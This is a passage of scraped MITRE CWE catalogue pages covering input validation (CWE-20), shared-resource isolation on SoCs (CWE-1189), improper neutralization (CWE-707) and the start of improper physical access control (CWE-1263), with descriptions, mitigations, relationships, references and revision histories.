Reasons Frequent Misuse, Frequent Misinterpretation, Abstraction

Rationale

CWE-20 is commonly misused in low-information vulnerability reports when lower-level CWEs could be used instead, or when more details about the vulnerability are available [REF-1287]. It is not useful for trend analysis. It is also a level-1 Class (i.e., a child of a Pillar). Finally, it is often used when the root cause issue is related to how input is incorrectly transformed, instead of "validated" to be correct as-is.

Comments

Within CWE, the "input validation" term focuses on the act of checking whether an input is already safe, which is different from other techniques that ensure safe processing of input. Carefully perform root-cause analysis to be sure that the issue is not due to techniques that attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. If the issue is truly due to imroper input validation, consider using lower-level children such as Improper Use of Validation Framework (CWE-1173) or improper validation involving specific types or properties of input such as Specified Quantity (CWE-1284); Specified Index, Position, or Offset (CWE-1285); Syntactic Correctness (CWE-1286); Specified Type (CWE-1287); Consistency within Input (CWE-1288); or Unsafe Equivalence (CWE-1289).

Suggestions

CWE-ID Comment
CWE-1284 Specified Quantity
CWE-1285 Specified Index, Position, or Offset
CWE-1286 Syntactic Correctness
CWE-1287 Specified Type
CWE-1288 Consistency within Input
CWE-1289 Unsafe Equivalence
CWE-116 Improper Encoding or Escaping of Output
CWE-790 Improper Filtering of Special Elements
+ Notes

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

Multiple techniques exist to transform potentially dangerous input into something safe, which is different than "validation," which is a technique to check if an input is already safe. CWE users need to be cautious during root cause analysis to ensure that an issue is truly an input-validation problem.

Terminology

The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.

Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, i.e., attempting to remove dangerous inputs (related to CWE-790); encoding/escaping, i.e., attempting to ensure that the input is not misinterpreted when it is included in output to another component (related to CWE-116); or canonicalization, which often indirectly removes otherwise-dangerous inputs. Others use the term in a narrower context to simply mean "checking if an input conforms to expectations without changing it." CWE uses this narrow interpretation.

Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation.

Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred. Developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Maintenance

As of 2020, this entry is used more often than preferred, and it is a source of frequent confusion. It is being actively modified for CWE 4.1 and subsequent versions.

Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.

Maintenance

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Input validation and representation
OWASP Top Ten 2004 A1 CWE More Specific Unvalidated Input
CERT C Secure Coding ERR07-C Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding FIO30-C CWE More Abstract Exclude user input from format strings
CERT C Secure Coding MEM10-C Define and use a pointer validation function
WASC 20 Improper Input Handling
Software Fault Patterns SFP25 Tainted input to variable
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-166] Jim Manico. "Input Validation with ESAPI - Very Important". 2008-08-15.
<https://manicode.blogspot.com/2008/08/input-validation-with-esapi.html>. (URL validated: 2023-04-07)
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project".
<http://www.owasp.org/index.php/ESAPI>.
[REF-168] Joel Scambray, Mike Shema and Caleb Sima. "Hacking Exposed Web Applications, Second Edition". Input Validation Attacks. McGraw-Hill. 2006-06-05.
[REF-48] Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007-01-30.
<https://blog.jeremiahgrossman.com/2007/01/input-validation-or-output-filtering.html>. (URL validated: 2023-04-07)
[REF-170] Kevin Beaver. "The importance of input validation". 2006-09-06.
<http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 10, "All Input Is Evil!" Page 341. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-1109] "LANGSEC: Language-theoretic Security".
<http://langsec.org/>.
[REF-1110] "LangSec: Recognition, Validation, and Compositional Correctness for Real World Security".
<http://langsec.org/bof-handout.pdf>.
[REF-1111] Sergey Bratus, Lars Hermerschmidt, Sven M. Hallberg, Michael E. Locasto, Falcon D. Momot, Meredith L. Patterson and Anna Shubina. "Curing the Vulnerable Parser: Design Patterns for Secure Input Handling". USENIX ;login:. 2017.
<https://www.usenix.org/system/files/login/articles/login_spring17_08_bratus.pdf>.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28.
<https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>. (URL validated: 2024-11-17)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Contributions
Contribution Date Contributor Organization
2024-02-29
(CWE 4.17, 2025-04-03) 		Abhi Balakrishnan
Contributed usability diagram concepts used by the CWE team.
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Mapping_Notes, Potential_Mitigations, Relationship_Notes, Terminology_Notes
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Relationships
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated Observed_Examples
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2022-10-13 CWE Content Team MITRE
updated References, Relationships
2022-06-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2021-03-15 CWE Content Team MITRE
updated Description, Potential_Mitigations
2020-08-20 CWE Content Team MITRE
updated Potential_Mitigations, Related_Attack_Patterns, Relationships
2020-06-25 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Terminology_Notes
2020-02-24 CWE Content Team MITRE
updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2019-09-19 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2018-03-27 CWE Content Team MITRE
updated References
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2017-01-19 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2014-02-18 CWE Content Team MITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2013-07-17 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships
2011-09-13 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Relationship_Notes
2011-03-29 CWE Content Team MITRE
updated Observed_Examples
2010-12-13 CWE Content Team MITRE
updated Demonstrative_Examples, Description
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2010-06-21 CWE Content Team MITRE
updated Potential_Mitigations, Research_Gaps, Terminology_Notes
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-02-16 CWE Content Team MITRE
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
2009-12-28 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors
2009-10-29 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Relationships, Research_Gaps, Terminology_Notes
2009-07-27 CWE Content Team MITRE
updated Relationships
2009-05-27 CWE Content Team MITRE
updated Related_Attack_Patterns
2009-03-10 CWE Content Team MITRE
updated Description, Potential_Mitigations
2009-01-12 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships
2008-11-24 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Insufficient Input Validation
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CWE-1189: Improper Isolation of Shared Resources on System-on-a-Chip (SoC)

Weakness ID: 1189
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
The System-On-a-Chip (SoC) does not properly isolate shared resources between trusted and untrusted agents.
+ Extended Description

A System-On-a-Chip (SoC) has a lot of functionality, but it may have a limited number of pins or pads. A pin can only perform one function at a time. However, it can be configured to perform multiple different functions. This technique is called pin multiplexing. Similarly, several resources on the chip may be shared to multiplex and support different features or functions. When such resources are shared between trusted and untrusted agents, untrusted agents may be able to access the assets intended to be accessed only by the trusted agents.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

If resources being used by a trusted user are shared with an untrusted user, the untrusted user may be able to modify the functionality of the shared resource of the trusted user.

Quality Degradation

Scope: Integrity

The functionality of the shared resource may be intentionally degraded.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Strategy: Separation of Privilege

When sharing resources, avoid mixing agents of varying trust levels.

Untrusted agents should not share resources with trusted agents.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 653 Improper Isolation or Compartmentalization
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 668 Exposure of Resource to Wrong Sphere
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1303 Non-Transparent Sharing of Microarchitectural Resources
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1331 Improper Isolation of Shared Resources in Network On Chip (NoC)
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1198 Privilege Separation and Access Control Issues
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1331 Improper Isolation of Shared Resources in Network On Chip (NoC)
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: System on Chip (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


Consider the following SoC design. The Hardware Root of Trust (HRoT) local SRAM is memory mapped in the core{0-N} address space. The HRoT allows or disallows access to private memory ranges, thus allowing the sram to function as a mailbox for communication between untrusted and trusted HRoT partitions.

Hardware Root of Trust

We assume that the threat is from malicious software in the untrusted domain. We assume this software has access to the core{0-N} memory map and can be running at any privilege level on the untrusted cores. The capability of this threat in this example is communication to and from the mailbox region of SRAM modulated by the hrot_iface. To address this threat, information must not enter or exit the shared region of SRAM through hrot_iface when in secure or privileged mode.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Processor has improper isolation of shared resources allowing for information disclosure.
Baseboard Management Controller (BMC) device implements Advanced High-performance Bus (AHB) bridges that do not require authentication for arbitrary read and write access to the BMC's physical address space from the host, and possibly the network [REF-1138].
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Dynamic Analysis

Pre-silicon / post-silicon: Test access to shared systems resources (memory ranges, control registers, etc.) from untrusted software to verify that the assets are not incorrectly exposed to untrusted agents. Note that access to shared resources can be dynamically allowed or revoked based on system flows. Security testing should cover such dynamic shared resource allocation and access control modification flows.

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1343 Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1418 Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-1036] Ali Abbasi and Majid Hashemi. "Ghost in the PLC Designing an Undetectable Programmable Logic Controller Rootkit via Pin Control Attack". 2016.
<https://www.blackhat.com/docs/eu-16/materials/eu-16-Abbasi-Ghost-In-The-PLC-Designing-An-Undetectable-Programmable-Logic-Controller-Rootkit-wp.pdf>.
[REF-1138] Stewart Smith. "CVE-2019-6260: Gaining control of BMC from the host processor". 2019.
<https://www.flamingspork.com/blog/2019/01/23/cve-2019-6260:-gaining-control-of-bmc-from-the-host-processor/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2019-10-15
(CWE 4.0, 2020-02-24) 		Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi Intel Corporation
+ Contributions
Contribution Date Contributor Organization
2021-07-16 Cycuity (originally submitted as Tortuga Logic)
Provided Demonstrative Example for Hardware Root of Trust.
2021-10-22 Hareesh Khattri Intel Corporation
provided observed example
2022-04-18 Hareesh Khattri Intel Corporation
changed detection method
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Observed_Examples, Relationships
2022-10-13 CWE Content Team MITRE
updated Detection_Factors
2021-10-28 CWE Content Team MITRE
updated Description, Observed_Examples, References, Relationships, Weakness_Ordinalities
2021-07-20 CWE Content Team MITRE
updated Demonstrative_Examples
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Common_Consequences, Description, Name, Potential_Mitigations, Related_Attack_Patterns, Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2020-08-20 Improper Isolation of Shared Resources on System-on-Chip (SoC)
Back to top

CWE-707: Improper Neutralization

Weakness ID: 707
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component.
+ Extended Description

If a message is malformed, it may cause the message to be incorrectly interpreted.

Neutralization is an abstract term for any technique that ensures that input (and output) conforms with expectations and is "safe." This can be done by:

  • checking that the input/output is already "safe" (e.g. validation)
  • transformation of the input/output to be "safe" using techniques such as filtering, encoding/decoding, escaping/unescaping, quoting/unquoting, or canonicalization
  • preventing the input/output from being directly provided by an attacker (e.g. "indirect selection" that maps externally-provided values to internally-controlled values)
  • preventing the input/output from being processed at all

This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Other

Scope: Other

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1000 Research Concepts
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 20 Improper Input Validation
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 116 Improper Encoding or Escaping of Output
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 138 Improper Neutralization of Special Elements
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 170 Improper Null Termination
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 172 Encoding Error
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 182 Collapse of Data into Unsafe Value
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 228 Improper Handling of Syntactically Invalid Structure
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 240 Improper Handling of Inconsistent Structural Elements
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 463 Deletion of Data Structure Sentinel
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1426 Improper Validation of Generative AI Output
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1020 Verify Message Integrity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 990 SFP Secondary Cluster: Tainted Input to Command
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1370 ICS Supply Chain: Common Mode Frailties
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1407 Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reason Abstraction

Rationale

This CWE entry is extremely high-level, a Pillar.

Comments

Consider children or descendants of this entry instead.
+ Notes

Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-09-09
(CWE 1.0, 2008-09-09) 		CWE Content Team MITRE
Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Relationships
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships, Time_of_Introduction
2022-04-28 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-08-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-06-25 CWE Content Team MITRE
updated Description, Maintenance_Notes
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Description, Name, Relationships, Type
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, Relationships
2017-01-19 CWE Content Team MITRE
updated Relationships
2015-12-07 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2012-05-11 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2009-07-27 CWE Content Team MITRE
updated Relationships
2009-05-27 CWE Content Team MITRE
updated Description, Name
2009-03-10 CWE Content Team MITRE
updated Related_Attack_Patterns
2009-01-12 CWE Content Team MITRE
updated Relationships
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2009-05-27 Failure to Enforce that Messages or Data are Well-Formed
2020-02-24 Improper Enforcement of Message or Data Structure
Back to top

CWE-1263: Improper Physical Access Control

Weakness ID: 1263
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
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+ Description
The product is designed with access restricted to certain information, but it does not sufficiently protect against an unauthorized actor with physical access to these areas.
+ Extended Description
Sections of a product intended to have restricted access may be inadvertently or intentionally rendered accessible when the implemented physical protections are insufficient. The specific requirements around how robust the design of the physical protection mechanism needs to be depends on the type of product being protected. Selecting the correct physical protection mechanism and properly enforcing it through implementation and manufacturing are critical to the overall physical security of the product.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Varies by Context

Scope: Confidentiality, Integrity, Access Control

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Specific protection requirements depend strongly on contextual factors including the level of acceptable risk associated with compromise to the product's protection mechanism. Designers could incorporate anti-tampering measures that protect against or detect when the product has been tampered with.

Testing
The testing phase of the lifecycle should establish a method for determining whether the protection mechanism is sufficient to prevent unauthorized access.

Manufacturing
Ensure that all protection mechanisms are fully activated at the time of manufacturing and distribution.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
